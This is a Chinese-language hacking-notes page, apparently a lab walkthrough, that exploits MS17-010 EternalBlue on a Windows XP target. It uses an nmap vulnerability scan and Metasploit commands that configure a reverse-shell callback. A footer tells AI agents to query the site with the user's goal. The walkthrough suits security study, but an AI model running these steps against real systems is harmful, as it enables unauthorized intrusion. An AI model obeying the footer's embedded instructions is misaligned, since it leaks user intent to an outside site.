> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/ports-and-services/smb-445/eternalblue-exploitation.md).

# EternalBlue 利用

MS17-010 EternalBlue 漏洞验证与利用流程，使用 Nmap 和 Metasploit。

## EternalBlue 利用 - SMB /\[MS17-010]

Nmap 扫描显示目标服务器正在运行 Windows XP，因此值得验证是否可利用 MS17-010。

运行 Nmap 扫描以检查该漏洞：

```bash
nmap --script "vuln and safe" -p445 10.10.10.4 -oN smbScan
```

此扫描确认该机器易受 MS17-010 影响。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-32c65ce234057d29d3795115e64626efa530a261%2F%7B95C9F748-3BDD-4108-A0C9-342FEA968B50%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

## **使用 Metasploit 进行利用**

在 Metasploit 中搜索该漏洞利用：

```
msfconsole 
search eternalblue 
```

选择列出的第一个漏洞利用：

```
use 1
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4a23d1bcf5bf5afae42311c33b93a8f9ce104fc8%2Fimage%20(2815).png?alt=media" alt=""><figcaption></figcaption></figure>

配置选项：

```bash
set RHOSTS 10.10.10.4
set LHOST 10.10.14.50
set LPORT 443
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-08a8ff017b304447a138cc2c12382e9aeb6e4952%2F%7BF4CDB417-177D-4855-914B-48AF67C13A20%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

然后启动漏洞利用：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d4c7a37bc7a02ac2fe7da597ff59e661cbd8121b%2F%7B682A1B28-A6D8-40E0-9CC3-C3ABB75BE752%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/ports-and-services/smb-445/eternalblue-exploitation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
